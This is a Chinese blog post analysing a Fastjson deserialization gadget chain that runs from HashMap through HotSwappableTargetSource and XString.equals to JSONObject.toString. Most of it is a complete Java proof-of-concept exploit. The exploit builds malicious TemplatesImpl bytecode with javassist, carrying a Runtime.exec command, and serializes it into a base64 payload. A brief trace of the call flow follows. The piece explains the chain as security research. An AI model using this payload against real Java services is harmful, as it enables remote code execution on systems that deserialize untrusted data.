Fastjson的toString链分析
前言
之前分析过Fastjson的getter链,忽略了toString链,现在补上,最终也是任意调用getter
攻击测试
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class ToString {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] codes = cc.toBytecode();
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {codes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
JSONObject jo = new JSONObject();
jo.put("1",templatesimpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
// HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Class clazz=h2.getClass();
Field transformerdeclaredField = clazz.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));
String base64 = serial(hashMap);
System.out.println(base64);
deserial(Base64.getDecoder().decode(base64));
}
public static String serial(Object o) throws IOException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
流程分析
首先还是经典的HashMap->readObject
跟进putVal
方法,这里调用equals方法,key是HotSwappableTargetSource
,这是个跳板类,之前讲Rome反序列化的时候提到过这个类,可以触发XString的equals方法,然后XString触发toString方法
继续跟进
继续跟进,来到XString的equals方法,obj2是JSONObject
跟进toString方法
继续跟进
往下走就是任意getter调用了,感兴趣的师傅可以往下走走,最终是跟paserObject一样的处理方式
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
· 上周热点回顾(2.17-2.23)